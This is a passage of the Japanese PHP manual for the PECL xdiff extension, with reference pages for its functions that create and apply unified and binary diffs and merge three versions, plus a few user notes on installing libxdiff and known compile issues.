    • xdiff_file_rabdiff — 2 つのファイルのバイナリ diff を、Rabin の polynomial fingerprinting アルゴリズムで作成する
    • xdiff_string_bdiff_size — バイナリ diff を適用して作成するファイルのサイズを読み込む
    • xdiff_string_bdiff — 2 つの文字列のバイナリ diff を作成する
    • xdiff_string_bpatch — 文字列にバイナリ diff 形式のパッチを適用する
    • xdiff_string_diff_binary — xdiff_string_bdiff のエイリアス
    • xdiff_string_diff — 2 つの文字列の unified diff を作成する
    • xdiff_string_merge3 — 3 つの文字列をひとつに統合する
    • xdiff_string_patch_binary — xdiff_string_bpatch のエイリアス
    • xdiff_string_patch — 文字列に unified diff 形式のパッチを適用する
    • xdiff_string_rabdiff — 2 つの文字列のバイナリ diff を、Rabin の polynomial fingerprinting アルゴリズムで作成する

User Contributed Notes

There are no user contributed notes for this page.


はじめに

xdiff 拡張モジュールを使用すると、 異なるリビジョンのファイルの差分を含むパッチファイルの作成やその適用ができるようになります。

この拡張モジュールは、文字列に対する操作とファイルに対する操作の 2 通りのモードに対応しています。また、unified 形式とバイナリ形式の 2 通りのパッチフォーマットに対応しています。 Unified 形式のパッチはテキストファイルに最適です。 人間が読みやすい形式であることから、容易にレビューできるようになります。 アーカイブファイルや画像ファイルなどのバイナリファイルの場合は バイナリ形式を使うのがよいでしょう。この形式はバイナリセーフであり、 非表示文字も扱えるからです。

バージョン 1.5.0 以降、バイナリ形式のパッチを作成するための方法が 2 通り用意されています。新しい関数である xdiff_string_rabdiff() と xdiff_file_rabdiff() の出力は、 以前の関数と互換性のあるものとなります。 しかし、より高速でよりサイズが小さいものとなります。 どのようにバイナリパッチを作成しているのかや これまでの関数とどのように違うのかといった情報については » libxdiff のウェブサイトを参照ください。

この拡張モジュールは、libxdiff を用いてこれらの機能を実装しています。 詳細な情報は » http://www.xmailserver.org/xdiff-lib.html を参照ください。

User Contributed Notes

There are no user contributed notes for this page.


要件

xdiff を使用するには libxdiff がインストールされている必要があります。 これは libxdiff のホームページ » http://www.xmailserver.org/xdiff-lib.html で取得可能です。

注意:

memory_limit を考慮してこれらの関数を使用するには、すくなくとも libxdiff 0.7 が必要です。

User Contributed Notes

just _note 12-Jan-2019 06:26
installing libxdiff for linux (debian)

wget http://www.xmailserver.org/libxdiff-0.22.tar.gz
tar -xzf libxdiff-0.22.tar.gz
cd libxdiff-0.22
./configure
make
make install


インストール手順

この PECL 拡張モジュールをインストールする方法は、 マニュアルの PECL 拡張モジュールのインストール という章にあります。 新規リリース・ダウンロード・ソースファイル・管理者情報・CHANGELOG といった関連する情報については、次の場所にあります。 » https://pecl.php.net/package/xdiff.

この PECL 拡張モジュールの DLL は、現在存在しません。 Windows でのビルド も参照ください

User Contributed Notes

rbrisita at hotmail dot com 11-Nov-2015 10:34
It is also reported here with a solution:

https://bugs.php.net/bug.php?id=58905
Anonymous 18-Oct-2015 12:58
This package currently does not compile on PHP 5.4 and above.

https://bugs.php.net/bug.php?id=60414


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

XDIFF_PATCH_NORMAL (int)
このフラグは、xdiff_string_patch() 関数および xdiff_file_patch() 関数が元のファイルにパッチを適用して新しいバージョンのファイルを作成することを意味します。 デフォルトの操作モードです。
XDIFF_PATCH_REVERSE (int)
このフラグは、xdiff_string_patch() 関数および xdiff_file_patch() 関数がパッチを逆に適用し、新しいバージョンから元のバージョンを作成することを意味します。

User Contributed Notes

There are no user contributed notes for this page.


xdiff 関数

目次

  • xdiff_file_bdiff_size — バイナリ diff を適用して作成するファイルのサイズを読み込む
  • xdiff_file_bdiff — 2 つのファイルのバイナリ diff を作成する
  • xdiff_file_bpatch — ファイルにバイナリ diff 形式のパッチを適用する
  • xdiff_file_diff_binary — xiff_file_bdiff のエイリアス
  • xdiff_file_diff — 2 つのファイルの unified diff を作成する
  • xdiff_file_merge3 — 3 つのファイルをひとつに統合する
  • xdiff_file_patch_binary — xdiff_file_bpatch のエイリアス
  • xdiff_file_patch — ファイルに unified diff 形式のパッチを適用する
  • xdiff_file_rabdiff — 2 つのファイルのバイナリ diff を、Rabin の polynomial fingerprinting アルゴリズムで作成する
  • xdiff_string_bdiff_size — バイナリ diff を適用して作成するファイルのサイズを読み込む
  • xdiff_string_bdiff — 2 つの文字列のバイナリ diff を作成する
  • xdiff_string_bpatch — 文字列にバイナリ diff 形式のパッチを適用する
  • xdiff_string_diff_binary — xdiff_string_bdiff のエイリアス
  • xdiff_string_diff — 2 つの文字列の unified diff を作成する
  • xdiff_string_merge3 — 3 つの文字列をひとつに統合する
  • xdiff_string_patch_binary — xdiff_string_bpatch のエイリアス
  • xdiff_string_patch — 文字列に unified diff 形式のパッチを適用する
  • xdiff_string_rabdiff — 2 つの文字列のバイナリ diff を、Rabin の polynomial fingerprinting アルゴリズムで作成する

User Contributed Notes

amir.laher 05-Apr-2005 02:09
the xdiff functions require your initial string to end with a \n character.

When you use xdiff_string_diff, the initial string must either be zero-length or end with \n
eg. $patch= xdiff_string_diff($string,$string2);

if not, the patch will return an empty string.
xdiff_string_patch($string,$patch);

This will not normally affect xdiff_file_diff, but it's annoying nevertheless. To prevent this unexpected effect, I append a \n to the string before applying the initial diff, as follows.
if (!ereg("\n$",$string)) $string.="\n";


バイナリ diff を適用して作成するファイルのサイズを読み込む

  • ≪ xdiff 関数
  • xdiff_file_bdiff ≫
  • PHP Manual
  • xdiff 関数
  • バイナリ diff を適用して作成するファイルのサイズを読み込む

xdiff_file_bdiff_size

(PECL xdiff >= 1.5.0)

xdiff_file_bdiff_size — バイナリ diff を適用して作成するファイルのサイズを読み込む

説明

xdiff_file_bdiff_size ( string $file ) : int

ファイル file のバイナリパッチを 元ファイルに適用して作成するファイルのサイズを返します。

パラメータ

file

xdiff_string_bdiff() 関数あるいは xdiff_string_rabdiff() 関数で作成したバイナリパッチファイルへのパス。

返り値

作成されるファイルのサイズを返します。

例

例1 xdiff_file_bdiff_size() の例

次のコードは、バイナリ diff を適用してできあがるファイルのサイズを読み込みます。

<?php
$length = xdiff_string_bdiff_size('file.bdiff');
echo "Resulting file will be $length bytes long";
?>

参考

  • xdiff_file_bdiff() - 2 つのファイルのバイナリ diff を作成する
  • xdiff_file_rabdiff() - 2 つのファイルのバイナリ diff を、Rabin の polynomial fingerprinting アルゴリズムで作成する
  • xdiff_file_bpatch() - ファイルにバイナリ diff 形式のパッチを適用する

User Contributed Notes

There are no user contributed notes for this page.


2 つのファイルのバイナリ diff を作成する

  • ≪ xdiff_file_bdiff_size
  • xdiff_file_bpatch ≫
  • PHP Manual
  • xdiff 関数
  • 2 つのファイルのバイナリ diff を作成する

xdiff_file_bdiff

(PECL xdiff >= 1.5.0)

xdiff_file_bdiff — 2 つのファイルのバイナリ diff を作成する

説明

xdiff_file_bdiff ( string $old_file , string $new_file , string $dest ) : bool

ふたつのファイルのバイナリ diff を作成し、その結果をパッチファイルとして保存します。 この関数はテキストファイルとバイナリファイルの両方に適用可能です。 できあがったパッチファイルを後で適用するには xdiff_file_bpatch()/xdiff_string_bpatch() を使用します。

パラメータ

old_file

最初のファイルへのパス。"旧" ファイルです。

new_file

2 番目のファイルへのパス。"新" ファイルです。

dest

結果のパッチファイルへのパス。 "旧" ファイルと "新" ファイルの差分がこのファイルの内容となります。 このファイルはバイナリフォーマットで、人間には読めない形式です。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 xdiff_file_bdiff() の例

以下のコードは 2 つのアーカイブのバイナリ diff を作成します。

<?php
$old_version = 'my_script_1.0.tgz';
$new_version = 'my_script_1.1.tgz';

xdiff_file_bdiff($old_version, $new_version, 'my_script.bdiff');
?>

注意

注意:

両方のファイルがメモリに読み込まれるので、 memory_limit が十分大きな値に設定されていることを確認しましょう。

参考

  • xdiff_file_bpatch() - ファイルにバイナリ diff 形式のパッチを適用する

User Contributed Notes

There are no user contributed notes for this page.


ファイルにバイナリ diff 形式のパッチを適用する

  • ≪ xdiff_file_bdiff
  • xdiff_file_diff_binary ≫
  • PHP Manual
  • xdiff 関数
  • ファイルにバイナリ diff 形式のパッチを適用する

xdiff_file_bpatch

(PECL xdiff >= 1.5.0)

xdiff_file_bpatch — ファイルにバイナリ diff 形式のパッチを適用する

説明

xdiff_file_bpatch ( string $file , string $patch , string $dest ) : bool

ファイル file にバイナリ形式のパッチファイル patch を適用し、結果をファイル dest に保存します。 この関数は、xdiff_file_bdiff() 関数あるいは xdiff_file_rabdiff()、 そしてそれぞれの文字列版が作成したパッチを受け取ることができます。

パラメータ

file

元のファイル。

patch

バイナリのパッチファイル。

dest

結果のファイルへのパス。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 xdiff_file_bpatch() の例

以下のコードはバイナリ diff 形式のパッチをファイルに適用します。

<?php
$old_version = 'archive-1.0.tgz';
$patch = 'archive.bpatch';

$result = xdiff_file_bpatch($old_version, $patch, 'archive-1.1.tgz');
if ($result) {
   echo "パッチが適用されました";
} else {
   echo "パッチが適用できませんでした";
}

?>

注意

注意:

両方のファイル (file および patch) がメモリに読み込まれるので、 memory_limit が十分大きな値に設定されていることを確認しましょう。

参考

  • xdiff_file_bdiff() - 2 つのファイルのバイナリ diff を作成する
  • xdiff_file_rabdiff() - 2 つのファイルのバイナリ diff を、Rabin の polynomial fingerprinting アルゴリズムで作成する

User Contributed Notes

There are no user contributed notes for this page.


xiff_file_bdiff のエイリアス

  • ≪ xdiff_file_bpatch
  • xdiff_file_diff ≫
  • PHP Manual
  • xdiff 関数
  • xiff_file_bdiff のエイリアス

xdiff_file_diff_binary

(PECL xdiff >= 0.2.0)

xdiff_file_diff_binary — xiff_file_bdiff のエイリアス

説明

xdiff_file_diff_binary ( string $old_file , string $new_file , string $dest ) : bool

ふたつのファイルのバイナリ diff を作成し、その結果をパッチファイルとして保存します。 この関数はテキストファイルとバイナリファイルの両方に適用可能です。 できあがったパッチファイルを後で適用するには xdiff_file_bpatch(). を使用します。

バージョン 1.5.0 以降では、この関数は xdiff_file_bdiff() のエイリアスです。

パラメータ

old_file

最初のファイルへのパス。"旧" ファイルです。

new_file

2 番目のファイルへのパス。"新" ファイルです。

dest

結果のパッチファイルへのパス。 "旧" ファイルと "新" ファイルの差分がこのファイルの内容となります。 このファイルはバイナリフォーマットで、人間には読めない形式です。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 xdiff_file_diff_binary() の例

以下のコードは 2 つのアーカイブのバイナリ diff を作成します。

<?php
$old_version = 'my_script_1.0.tgz';
$new_version = 'my_script_1.1.tgz';

xdiff_file_diff_binary($old_version, $new_version, 'my_script.bdiff');
?>

注意

注意:

両方のファイルがメモリに読み込まれるので、 memory_limit が十分大きな値に設定されていることを確認しましょう。

参考

  • xdiff_file_bdiff() - 2 つのファイルのバイナリ diff を作成する
  • xdiff_file_bpatch() - ファイルにバイナリ diff 形式のパッチを適用する

User Contributed Notes

There are no user contributed notes for this page.


2 つのファイルの unified diff を作成する

  • ≪ xdiff_file_diff_binary
  • xdiff_file_merge3 ≫
  • PHP Manual
  • xdiff 関数
  • 2 つのファイルの unified diff を作成する

xdiff_file_diff

(PECL xdiff >= 0.2.0)

xdiff_file_diff — 2 つのファイルの unified diff を作成する

説明

xdiff_file_diff ( string $old_file , string $new_file , string $dest , int $context = 3 , bool $minimal = false ) : bool

old_file と new_file の差分を含む unified diff を作成し、ファイル dest に保存します。結果は可読形式のファイルとなります。 オプションのパラメータ context で、 変更部分の前後にどれだけの行を含めるかを指定します。 パラメータ minimal を true にすると、 できる限り短い長さのパッチファイルを出力します (長い時間がかかります)。

パラメータ

old_file

最初のファイルへのパス。"旧" ファイルです。

new_file

2 番目のファイルへのパス。"新" ファイルです。

dest

結果のパッチファイルへのパス。

context

diff の結果の前後に含める行の数を指定します。

minimal

このパラメータを true にすると、結果のファイルが最小になります (長い時間がかかります)。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 xdiff_file_diff() の例

以下のコードは 2 つの php ファイルの unified diff を context length 2 で作成します。

<?php
$old_version = 'my_script.php';
$new_version = 'my_new_script.php';

xdiff_file_diff($old_version, $new_version, 'my_script.diff', 2);
?>

注意

注意:

この関数はバイナリファイルに対しては動作しません。バイナリファイルの 差分を作成するには xdiff_file_bdiff()/xdiff_file_rabdiff() 関数を使用してください。

参考

  • xdiff_file_patch() - ファイルに unified diff 形式のパッチを適用する

User Contributed Notes

There are no user contributed notes for this page.


3 つのファイルをひとつに統合する

  • ≪ xdiff_file_diff
  • xdiff_file_patch_binary ≫
  • PHP Manual
  • xdiff 関数
  • 3 つのファイルをひとつに統合する

xdiff_file_merge3

(PECL xdiff >= 0.2.0)

xdiff_file_merge3 — 3 つのファイルをひとつに統合する

説明

xdiff_file_merge3 ( string $old_file , string $new_file1 , string $new_file2 , string $dest ) : mixed

3 つのファイルをひとつに統合し、結果をファイル dest に保存します。 old_file が元のバージョンで、new_file1 と new_file2 が修正したバージョンとなります。

パラメータ

old_file

最初のファイルへのパス。"旧" ファイルです。

new_file1

2 番目のファイルへのパス。old_file の修正版です。

new_file2

3 番目のファイルへのパス。old_file の修正版です。

dest

結果のファイルへのパス。new_file1 と new_file2 の両方の変更点をマージした結果が保存されます。

返り値

成功した場合に true 、もし拒否された部分がある場合にはその文字列、 内部エラーが発生した場合に false を返します。

例

例1 xdiff_file_merge3() の例

以下のコードは、3 つのファイルをひとつに統合します。

<?php
$old_version = 'original_script.php';
$fix1 = 'script_with_fix1.php';
$fix2 = 'script_with_fix2.php';

$errors = xdiff_file_merge3($old_version, $fix1, $fix2, 'fixed_script.php');
if (is_string($errors)) {
    echo "Rejects:\n";
    echo $errors;
}
?>

参考

  • xdiff_string_merge3() - 3 つの文字列をひとつに統合する

User Contributed Notes

There are no user contributed notes for this page.


xdiff_file_bpatch のエイリアス

  • ≪ xdiff_file_merge3
  • xdiff_file_patch ≫
  • PHP Manual
  • xdiff 関数
  • xdiff_file_bpatch のエイリアス

xdiff_file_patch_binary

(PECL xdiff >= 0.2.0)

xdiff_file_patch_binary — xdiff_file_bpatch のエイリアス

説明

xdiff_file_patch_binary ( string $file , string $patch , string $dest ) : bool

ファイル file にバイナリ形式のパッチファイル patch を適用し、結果をファイル dest に保存します。 この関数は、xdiff_file_bdiff() 関数あるいは xdiff_file_rabdiff()、 そしてそれぞれの文字列版が作成したパッチを受け取ることができます。

バージョン 1.5.0 以降、この関数は xdiff_file_bpatch() のエイリアスとなりました。

パラメータ

file

元のファイル。

patch

バイナリのパッチファイル。

dest

結果のファイルへのパス。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 xdiff_file_patch_binary() の例

以下のコードはバイナリ diff 形式のパッチをファイルに適用します。

<?php
$old_version = 'archive-1.0.tgz';
$patch = 'archive.bpatch';

$result = xdiff_file_patch_binary($old_version, $patch, 'archive-1.1.tgz');
if ($result) {
   echo "パッチが適用されました";
} else {
   echo "パッチが適用できませんでした";
}

?>

注意

注意:

両方のファイル (file および patch) がメモリに読み込まれるので、 memory_limit が十分大きな値に設定されていることを確認しましょう。

参考

  • xdiff_string_patch_binary() - xdiff_string_bpatch のエイリアス

User Contributed Notes

There are no user contributed notes for this page.


ファイルに unified diff 形式のパッチを適用する

  • ≪ xdiff_file_patch_binary
  • xdiff_file_rabdiff ≫
  • PHP Manual
  • xdiff 関数
  • ファイルに unified diff 形式のパッチを適用する

xdiff_file_patch

(PECL xdiff >= 0.2.0)

xdiff_file_patch — ファイルに unified diff 形式のパッチを適用する

説明

xdiff_file_patch ( string $file , string $patch , string $dest , int $flags = DIFF_PATCH_NORMAL ) : mixed

ファイル file にパッチファイル patch を適用し、結果をファイルに保存します。 patch は、 xdiff_file_diff()/xdiff_string_diff() 関数で作成した unified diff 形式でなければなりません。 オプションのパラメータ flags で、操作モードを指定します。

パラメータ

file

元のファイル。

patch

unified 形式のパッチファイル。 xdiff_string_diff() 関数や xdiff_file_diff() 関数、 あるいは互換性のあるツールで作成したものでなければなりません。

dest

結果のファイルへのパス。

flags

XDIFF_PATCH_NORMAL（デフォルト。通常のパッチ）あるいは XDIFF_PATCH_REVERSE（逆パッチ） のいずれか。

バージョン 1.5.0 以降では、バイナリ OR を使用して XDIFF_PATCH_IGNORESPACE フラグを有効にすることもできます。

返り値

内部エラーが発生した場合に false を返します。 パッチの適用に失敗した場合はパッチが拒否された部分の文字列、 そして成功した場合は true を返します。

例

例1 xdiff_file_patch() の例

以下のコードは、unified diff 形式のパッチをファイルに適用します。

<?php
$old_version = 'my_script-1.0.php';
$patch = 'my_script.patch';

$errors = xdiff_file_patch($old_version, $patch, 'my_script-1.1.php');
if (is_string($errors)) {
   echo "Rejects:\n";
   echo $errors;
}

?>

例2 逆パッチの例

以下のコードは、パッチを逆方向に適用します。

<?php
$new_version = 'my_script-1.1.php';
$patch = 'my_script.patch';

$errors = xdiff_file_patch($new_version, $patch, 'my_script-1.0.php', XDIFF_PATCH_REVERSE);
if (is_string($errors)) {
   echo "Rejects:\n";
   echo $errors;
}

?>

参考

  • xdiff_file_diff() - 2 つのファイルの unified diff を作成する

User Contributed Notes

There are no user contributed notes for this page.


2 つのファイルのバイナリ diff を、Rabin の polynomial fingerprinting アルゴリズムで作成する

  • ≪ xdiff_file_patch
  • xdiff_string_bdiff_size ≫
  • PHP Manual
  • xdiff 関数
  • 2 つのファイルのバイナリ diff を、Rabin の polynomial fingerprinting アルゴリズムで作成する

xdiff_file_rabdiff

(PECL xdiff >= 1.5.0)

xdiff_file_rabdiff — 2 つのファイルのバイナリ diff を、Rabin の polynomial fingerprinting アルゴリズムで作成する

説明

xdiff_file_rabdiff ( string $old_file , string $new_file , string $dest ) : bool

ふたつのファイルのバイナリ diff を作成し、その結果をパッチファイルとして保存します。 この関数と xdiff_file_bdiff() との違いは、 使用するアルゴリズムです。この関数のほうが実行速度が速く、より小さな diff を生成します。 この関数はテキストファイルとバイナリファイルの両方に適用可能です。 できあがったパッチファイルを後で適用するには xdiff_file_bpatch()/xdiff_string_bpatch() を使用します。

アルゴリズムの違いについての詳細は、 » libxdiff のウェブサイトを参照ください。

パラメータ

old_file

最初のファイルへのパス。"旧" ファイルです。

new_file

2 番目のファイルへのパス。"新" ファイルです。

dest

結果のパッチファイルへのパス。 "旧" ファイルと "新" ファイルの差分がこのファイルの内容となります。 このファイルはバイナリフォーマットで、人間には読めない形式です。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 xdiff_file_rabdiff() の例

以下のコードは 2 つのアーカイブのバイナリ diff を作成します。

<?php
$old_version = 'my_script_1.0.tgz';
$new_version = 'my_script_1.1.tgz';

xdiff_file_rabdiff($old_version, $new_version, 'my_script.bdiff');
?>

注意

注意:

両方のファイルがメモリに読み込まれるので、 memory_limit が十分大きな値に設定されていることを確認しましょう。

参考

  • xdiff_file_bpatch() - ファイルにバイナリ diff 形式のパッチを適用する

User Contributed Notes

There are no user contributed notes for this page.


バイナリ diff を適用して作成するファイルのサイズを読み込む

  • ≪ xdiff_file_rabdiff
  • xdiff_string_bdiff ≫
  • PHP Manual
  • xdiff 関数
  • バイナリ diff を適用して作成するファイルのサイズを読み込む

xdiff_string_bdiff_size

(PECL xdiff >= 1.5.0)

xdiff_string_bdiff_size — バイナリ diff を適用して作成するファイルのサイズを読み込む

説明

xdiff_string_bdiff_size ( string $patch ) : int

バイナリパッチ patch を元ファイルに適用して作成するファイルのサイズを返します。

パラメータ

patch

xdiff_string_bdiff() 関数あるいは xdiff_string_rabdiff() 関数で作成したバイナリパッチ。

返り値

作成されるファイルのサイズを返します。

例

例1 xdiff_string_bdiff_size() の例

次のコードは、バイナリ diff を適用してできあがるファイルのサイズを読み込みます。

<?php
$binary_patch = file_get_contents('file.bdiff');
$length = xdiff_string_bdiff_size($binary_patch);
echo "Resulting file will be $length bytes long";
?>

参考

  • xdiff_string_bdiff() - 2 つの文字列のバイナリ diff を作成する
  • xdiff_string_rabdiff() - 2 つの文字列のバイナリ diff を、Rabin の polynomial fingerprinting アルゴリズムで作成する
  • xdiff_string_bpatch() - 文字列にバイナリ diff 形式のパッチを適用する

User Contributed Notes

There are no user contributed notes for this page.


2 つの文字列のバイナリ diff を作成する

  • ≪ xdiff_string_bdiff_size
  • xdiff_string_bpatch ≫
  • PHP Manual
  • xdiff 関数
  • 2 つの文字列のバイナリ diff を作成する

xdiff_string_bdiff

(PECL xdiff >= 1.5.0)

xdiff_string_bdiff — 2 つの文字列のバイナリ diff を作成する

説明

xdiff_string_bdiff ( string $old_data , string $new_data ) : string

ふたつの文字列のバイナリ diff を作成して結果を返します。 この関数はテキストファイルとバイナリファイルの両方に適用可能です。 できあがったパッチファイルを後で適用するには xdiff_string_bpatch()/xdiff_file_bpatch() を使用します。

パラメータ

old_data

バイナリデータを含む最初の文字列。"旧" データです。

new_data

バイナリデータを含む 2 番目の文字列。"新" データです。

返り値

"旧" データと "新" データの差分を含むバイナリ diff 文字列、 あるいは内部エラーが発生した場合は false を返します。

参考

  • xdiff_string_bpatch() - 文字列にバイナリ diff 形式のパッチを適用する

User Contributed Notes

There are no user contributed notes for this page.


文字列にバイナリ diff 形式のパッチを適用する

  • ≪ xdiff_string_bdiff
  • xdiff_string_diff_binary ≫
  • PHP Manual
  • xdiff 関数
  • 文字列にバイナリ diff 形式のパッチを適用する

xdiff_string_bpatch

(PECL xdiff >= 1.5.0)

xdiff_string_bpatch — 文字列にバイナリ diff 形式のパッチを適用する

説明

xdiff_string_bpatch ( string $str , string $patch ) : string

文字列 str に、バイナリ形式のパッチ patch を適用します。 この関数は、xdiff_string_bdiff() 関数あるいは xdiff_string_rabdiff() そしてそれぞれのファイル版が作成したパッチを受け取ることができます。

パラメータ

str

元のバイナリ文字列。

patch

バイナリパッチ文字列。

返り値

パッチ適用後の文字列、あるいはエラー時に false を返します。

参考

  • xdiff_string_bdiff() - 2 つの文字列のバイナリ diff を作成する
  • xdiff_string_rabdiff() - 2 つの文字列のバイナリ diff を、Rabin の polynomial fingerprinting アルゴリズムで作成する

User Contributed Notes

There are no user contributed notes for this page.


xdiff_string_bdiff のエイリアス

  • ≪ xdiff_string_bpatch
  • xdiff_string_diff ≫
  • PHP Manual
  • xdiff 関数
  • xdiff_string_bdiff のエイリアス

xdiff_string_diff_binary

(PECL xdiff >= 0.2.0)

xdiff_string_diff_binary — xdiff_string_bdiff のエイリアス

説明

xdiff_string_bdiff ( string $old_data , string $new_data ) : string

ふたつの文字列のバイナリ diff を作成して結果を返します。 この関数はテキストファイルとバイナリファイルの両方に適用可能です。 できあがったパッチファイルを後で適用するには xdiff_string_bpatch()/xdiff_file_bpatch() を使用します。

バージョン 1.5.0 以降では、この関数は xdiff_string_bdiff() のエイリアスです。

パラメータ

old_data

バイナリデータを含む最初の文字列。"旧" データです。

new_data

バイナリデータを含む 2 番目の文字列。"新" データです。

返り値

成功した場合に結果の文字列、内部エラーが発生した場合に false を返します。

参考

  • xdiff_string_bdiff() - 2 つの文字列のバイナリ diff を作成する
  • xdiff_string_bpatch() - 文字列にバイナリ diff 形式のパッチを適用する

User Contributed Notes

There are no user contributed notes for this page.


2 つの文字列の unified diff を作成する

  • ≪ xdiff_string_diff_binary
  • xdiff_string_merge3 ≫
  • PHP Manual
  • xdiff 関数
  • 2 つの文字列の unified diff を作成する

xdiff_string_diff

(PECL xdiff >= 0.2.0)

xdiff_string_diff — 2 つの文字列の unified diff を作成する

説明

xdiff_string_diff ( string $old_data , string $new_data , int $context = 3 , bool $minimal = false ) : string

old_data 文字列と new_data 文字列の差分を含む unified diff を作成し、 結果を返します。結果は可読形式となります。 オプションのパラメータ context で、 変更部分の前後にどれだけの行を含めるかを指定します。 パラメータ minimal を true にすると、 できる限り短い長さのパッチファイルを出力します (長い時間がかかります)。

パラメータ

old_data

データを含む最初の文字列。"旧" データです。

new_data

データを含む 2 番目の文字列。"新" データです。

context

diff の結果の前後に含める行の数を指定します。

minimal

このパラメータを true にすると、結果のファイルが最小になります (非常に時間がかかります)。結果のファイルは可読形式となります。

返り値

成功した場合はその結果の diff、内部エラーが発生した場合に false を返します。

例

例1 xdiff_string_diff() の例

以下のコードは 2 つの記事の unified diff を作成します。

<?php
$old_article = file_get_contents('./old_article.txt');
$new_article = $_REQUEST['article']; /* Let's say that someone pasted a new article to html form */

$diff = xdiff_string_diff($old_article, $new_article, 1);
if (is_string($diff)) {
    echo "2 つの記事の差分:\n";
    echo $diff;
}

?>

注意

注意:

この関数はバイナリ文字列に対しては動作しません。バイナリ文字列の 差分を作成するには xdiff_string_bdiff()/xdiff_string_rabdiff() を使用してください。

参考

  • xdiff_string_patch() - 文字列に unified diff 形式のパッチを適用する

User Contributed Notes

There are no user contributed notes for this page.


3 つの文字列をひとつに統合する

  • ≪ xdiff_string_diff
  • xdiff_string_patch_binary ≫
  • PHP Manual
  • xdiff 関数
  • 3 つの文字列をひとつに統合する

xdiff_string_merge3

(PECL xdiff >= 0.2.0)

xdiff_string_merge3 — 3 つの文字列をひとつに統合する

説明

xdiff_string_merge3 ( string $old_data , string $new_data1 , string $new_data2 , string &$error = ? ) : mixed

3 つの文字列をひとつに結合し、その結果を返します。 old_data が元のバージョンで、 new_data1 と new_data2 が修正したバージョンとなります。オプションの error を使用すると、結合時に拒否された部分がそこに渡されます。

パラメータ

old_data

最初のデータ文字列。"旧" データです。

new_data1

2 番目のデータ文字列。old_data の修正版です。

new_data2

3 番目のデータ文字列。old_data の修正版です。

error

指定した場合、パッチを拒否された部分がこの変数に保存されます。

返り値

統合された文字列を返します。内部エラーが発生した場合は false、 統合された文字列が空の文字列の場合は true を返します。

参考

  • xdiff_file_merge3() - 3 つのファイルをひとつに統合する

User Contributed Notes

There are no user contributed notes for this page.


xdiff_string_bpatch のエイリアス

  • ≪ xdiff_string_merge3
  • xdiff_string_patch ≫
  • PHP Manual
  • xdiff 関数
  • xdiff_string_bpatch のエイリアス

xdiff_string_patch_binary

(PECL xdiff >= 0.2.0)

xdiff_string_patch_binary — xdiff_string_bpatch のエイリアス

説明

xdiff_string_patch_binary ( string $str , string $patch ) : string

文字列 str に、バイナリ形式のパッチ patch を適用します。 この関数は、xdiff_string_bdiff() 関数あるいは xdiff_string_rabdiff() そしてそれぞれのファイル版が作成したパッチを受け取ることができます。

バージョン 1.5.0 以降、この関数は xdiff_string_bpatch() のエイリアスとなりました。

パラメータ

str

元のバイナリ文字列。

patch

バイナリパッチ文字列。

返り値

パッチ適用後の文字列、あるいはエラー時に false を返します。

参考

  • xdiff_string_bpatch() - 文字列にバイナリ diff 形式のパッチを適用する
  • xdiff_string_bdiff() - 2 つの文字列のバイナリ diff を作成する
  • xdiff_string_rabdiff() - 2 つの文字列のバイナリ diff を、Rabin の polynomial fingerprinting アルゴリズムで作成する

User Contributed Notes

There are no user contributed notes for this page.


文字列に unified diff 形式のパッチを適用する

  • ≪ xdiff_string_patch_binary
  • xdiff_string_rabdiff ≫
  • PHP Manual
  • xdiff 関数
  • 文字列に unified diff 形式のパッチを適用する

xdiff_string_patch

(PECL xdiff >= 0.2.0)

xdiff_string_patch — 文字列に unified diff 形式のパッチを適用する

説明

xdiff_string_patch ( string $str , string $patch , int $flags = ? , string &$error = ? ) : string

ある文字列 str に、unified 形式のパッチ文字列 patch を適用してその結果を返します。 patch は、 xdiff_file_diff()/xdiff_string_diff() 関数で作成した unified diff 形式でなければなりません。 オプションのパラメータ flags で、操作モードを指定します。パッチが拒否された部分については、 もし error を指定していればそこに保存されます。

パラメータ

str

元の文字列。

patch

unified 形式のパッチ文字列。 xdiff_string_diff() 関数や xdiff_file_diff() 関数、 あるいは互換性のあるツールで作成したものでなければなりません。

flags

flags は XDIFF_PATCH_NORMAL (デフォルト。通常のパッチ) あるいは XDIFF_PATCH_REVERSE (逆パッチ) のいずれかです。

バージョン 1.5.0 以降では、バイナリ OR を使用して XDIFF_PATCH_IGNORESPACE フラグを有効にすることもできます。

error

これを指定すると、パッチを拒否された部分がここに保存されます。

返り値

パッチ適用後の文字列、あるいはエラー時に false を返します。

例

例1 xdiff_string_patch() の例

以下のコードは、ある記事に対して変更を適用します。

<?php
$old_article = file_get_contents('./old_article.txt');
$diff = $_SERVER['patch']; /* だれかが html フォームからパッチを投稿したとしましょう */

$errors = '';

$new_article = xdiff_string_patch($old_article, $diff, XDIFF_PATCH_NORMAL, $errors);
if (is_string($new_article)) {
    echo "新しい記事:\n";
    echo $new_article;
}

if (strlen($errors)) {
    echo "Rejects: \n";
    echo $errors;
}

?>

参考

  • xdiff_string_diff() - 2 つの文字列の unified diff を作成する

User Contributed Notes

There are no user contributed notes for this page.


2 つの文字列のバイナリ diff を、Rabin の polynomial fingerprinting アルゴリズムで作成する

  • ≪ xdiff_string_patch
  • 自然言語および文字エンコーディング ≫
  • PHP Manual
  • xdiff 関数
  • 2 つの文字列のバイナリ diff を、Rabin の polynomial fingerprinting アルゴリズムで作成する

xdiff_string_rabdiff

(PECL xdiff >= 1.5.0)

xdiff_string_rabdiff — 2 つの文字列のバイナリ diff を、Rabin の polynomial fingerprinting アルゴリズムで作成する

説明

xdiff_string_bdiff ( string $old_data , string $new_data ) : string

ふたつの文字列のバイナリ diff を作成して結果を返します。 この関数と xdiff_string_bdiff() との違いは、 使用するアルゴリズムです。この関数のほうが実行速度が速く、より小さな diff を生成します。 この関数はテキストファイルとバイナリファイルの両方に適用可能です。 できあがったパッチファイルを後で適用するには xdiff_string_bpatch()/xdiff_file_bpatch() を使用します。

アルゴリズムの違いについての詳細は、 » libxdiff のウェブサイトを参照ください。

パラメータ

old_data

バイナリデータを含む最初の文字列。"旧" データです。

new_data

バイナリデータを含む 2 番目の文字列。"新" データです。

返り値

